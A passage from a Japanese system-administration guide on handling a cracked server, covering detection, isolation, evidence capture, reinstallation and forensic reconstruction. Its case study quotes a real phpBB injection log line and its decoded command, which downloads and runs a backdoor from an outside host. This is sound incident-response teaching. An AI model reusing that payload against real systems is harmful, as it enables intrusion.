最良の意志と注意深く設計されたセキュリティポリシーにも関わらず、結局のところ管理者は乗っ取りに直面します。この節では、不幸な状況に直面した場合にどのように対応するか、いくつかの指針を提供します。
クラッキング対応の最初の段階はこうした行為を把握することです。クラッキング行為を、特に十分な監視設備がない状態で、把握することは不可能です。
クラッキング行為は、クラッキング行為がマシンでホストされている正規のサービスに直接的な影響を与えるまで、たとえば接続が遅くなったり一部のユーザが接続できなくなったりさまざまな誤作動が起きるまで、検知されないことが多いです。これらの問題に直面したら、管理者はマシンをよく見て不正行為を注意深く調べることが必要です。通常この時点で異常なプロセスが発見されます。たとえば、標準的な /usr/sbin/apache2
の代わりに apache
と名付けられたプロセスなどです。この例に従うなら、やるべきことはプロセス識別子を確認して、このプロセスが現在実行しているプログラムが何かを見るために /proc/pid/exe
を確認することです。
#
ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
プログラムが /var/tmp/
の下にインストールされ、ウェブサーバの権限で実行している? 間違いありません。マシンは不正侵入されています。
これは一例に過ぎませんが、他にも管理者のアンテナに引っかかるような数多くの手掛かりが存在します。
動作しないコマンド。コマンドが要求するソフトウェアのバージョンが dpkg
によってインストールされたと考えられるバージョンと一致しません。
最後の接続元が別の大陸にある未知のサーバということを示すコマンドプロンプトやセッション挨拶文。
/tmp/
パーティションが満杯になったことによるエラー。大量の映画の不正コピーで満杯になっています。
などです。
クラッキングが最も派手に行われる場合を除けば、クラッキングはネットワーク経由で行われ、攻撃者は目標 (機密データへのアクセス、不正ファイルの共有、踏み台としてマシンを使うことによる本人識別情報の隠匿、など) を達成するためにネットワークを必要とします。攻撃者がまだクラッキング行為を完了していない場合、ネットワークからコンピュータを切り離すことで、攻撃者は目標を達成できなくなります。
サーバが物理的にアクセスできる場合のみ、これは可能です。サーバが物凄く遠くにあるホスティングプロバイダのデータセンターでホストされていたり、サーバにその他の理由でアクセスできない場合、いくつかの重要な情報の収集を開始して (
第 14.7.3 節「証拠として使えるすべての保存」、
第 14.7.5 節「フォレンジック解析」および
第 14.7.6 節「攻撃シナリオの再構成」を参照してください)、可能な限り多くの (通常
sshd
を除くすべての) サービスをシャットダウンすることで可能な限りサーバを隔離する、ことは通常良いアイディアです。これはまだ都合が悪い状態です。なぜなら、攻撃者は管理者がしているのと同様に SSH アクセスできるからです。このため、マシンを「きれいに」することは難しいです。
攻撃を理解したり、攻撃者に対して法的手段を取るには、すべての重要な要素の複製を取ることが必要です。そしてこれには、ハードディスクの内容、すべての実行中プロセスのリスト、すべての開かれた接続のリスト、が含まれます。RAM の内容を使うことも可能ですが、実際にこれが使われることはまれです。
作業中に、管理者は不正侵入されたマシン上で数多くの事項を確認しようとします。しかしこれは良いアイディアではありません。すべてのコマンドは潜在的に破壊されており、さまざまな証拠を消してしまいます。確認は最低限 (ネットワーク接続状態を確認する netstat -tupan
、プロセスのリストを確認する ps auxf
、実行中プログラムのより詳しい情報を確認する ls -alR /proc/[0-9]*
) に留めるべきです。そして、すべての確認作業を注意深く記録するべきです。
「動的な」要素の保存が完了したら、次にハードディスクの完全なイメージを保存します。ファイルシステムの内容が書き変わっている間はそのようなイメージを作ることは不可能です。そのため、ファイルシステムを読み込み専用で再マウントする必要があります。最も簡単な解決策として、(sync
を実行した後) サーバを無理やり停止し、レスキュー CD を使って再起動することがよく行われます。各パーティションは dd
などのツールを使ってコピーされるべきです。そしてこれらのイメージを他のサーバに送信することが可能です (場合によってはとても便利な nc
ツールを使って送信します)。他のより簡単な方法もあります。具体的に言えば、不正侵入されたマシンからディスクを取り出して、再フォーマットおよび再インストールしても問題ない新しいディスクで置き換えます。
不正侵入されたサーバを、完全に再インストールする前に、オンラインに戻すべきではありません。不正侵入が深刻な場合 (管理者権限が奪われていた場合)、再インストール以外に攻撃者が残したすべて (特にバックドア) が一掃されたことを保証する方法はほぼ存在しません。もちろん、攻撃者の使う脆弱性をふさぐために、すべての最新のセキュリティ更新を適用しなければいけません。理想的に言えば、不正侵入の形跡を解析することで、この最新のセキュリティ更新によってふさがれる脆弱性を使って不正侵入が行われたことが明らかになるべきです。そうすれば、実際に攻撃ベクトルが修正されたことを保証することが可能です。しかしこれができなければ、更新によって不正侵入の足掛かりとなった脆弱性が修正されたことを期待することしかできません。
リモートサーバの再インストールは常に簡単というわけではありません。さらにホスティング会社の手助けが必要になる場合があります。なぜなら、ホスティング会社のすべてが自動再インストールシステムを提供しているとは限らないからです。不正侵入後に取られたバックアップからマシンを再インストールしないように注意してください。理想的に言えば、データだけを回復するべきです。実際のソフトウェアはインストールメディアから再インストールされるべきです。
サービスが回復したら、攻撃ベクトルを理解するために不正侵入されたシステムのディスクイメージの詳細な調査を開始します。これらのイメージをマウントする際に、ro,nodev,noexec,noatime
オプションを使うことに注意してください。これは (ファイルにアクセスしたタイムスタンプを含めて) 内容の変更を防ぎ、誤って破壊されたプログラムを実行することを防ぐ意味合いがあります。
通常、攻撃シナリオを追跡するには、変更されて実行されたすべてを探し出すことが必要です。
.bash_history
ファイルには、極めて興味深い内容が含まれます。
最近作成、修正、アクセスされた listing ファイルも同様です。
strings
コマンドは攻撃者がインストールしたプログラムを識別する助けになります。このコマンドはバイナリからテキスト文字列を抽出します。
/var/log/
内のログファイルを使えば出来事の経過を追跡することが可能です。
特殊目的のツールを使うことで、潜在的に削除されたファイルの内容を復元することが可能です。このファイルには攻撃者が削除したログファイルなどが含まれます。
これらの操作は専用ソフトウェアを使うことで簡単に実行することが可能です。特に、sleuthkit パッケージはファイルシステムを解析する多くのツールを提供します。これは Autopsy Forensic Browser グラフィカルインターフェース (autopsy パッケージに含まれます) から簡単に使うことが可能です。
解析中に収集されたすべての要素はジグソーパズルのピースのように組み合わさるべきです。そして最初の疑わしいファイルの作成は破壊を証明するログと関係があります。実世界の例は長ったらしい理論よりもさらに明快なものであるべきです。
以下のログは Apache access.log
から抽出したものです。
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
これは phpBB の古いセキュリティ脆弱性を突いた例です。
長い URL を復号することで、攻撃者がいくつかの PHP コードを実行しようと試みたことが理解できます。はっきり言うと、system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &")
です。確かに、bd
ファイルが /tmp/
の中で見つかりました。strings /mnt/tmp/bd
を実行したところ、他の文字列に混じって、PsychoPhobia Backdoor is starting...
が返されました。これはまさにバックドアのように見えます。
しばらくの後、このアクセスは地下 IRC ネットワークに接続する IRC ボットをダウンロード、インストール、実行するために使われました。このボットは IRC プロトコルを介して制御され、共有するファイルをダウンロードする指示を与えられました。このプログラムは自分自身のログファイルを持っています。
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
ログに残された痕跡によれば、82.50.72.202 IP アドレスを経由して 2 つのビデオファイルがサーバ上に保存されたことがわかります。
並行して、攻撃者はさらにファイルをダウンロードしました。/tmp/pt
と /tmp/loginx
です。strings
を介してこれらのファイルを調べると、Shellcode placed at 0x%08lx や Now wait for suid shell... などの文字列が見つかりました。プログラムは管理者権限を取得するためにローカルの脆弱性を不正利用しているように見えます。攻撃者は目標を達成したでしょうか? この場合、おそらくまだでしょう。なぜなら、最初の破壊行為の後どのファイルも修正されていなかったからです。
この例では、不正侵入のすべてが再構成されました。そして、攻撃者は不正侵入されたシステムを 3 日間にわたって悪用することができたと推測することが可能です。しかし、解析で明らかになった最も重要な要素は脆弱性の内容です。管理者は新規インストールによって完全にこの種の脆弱性が修正されたことを保証することが可能です。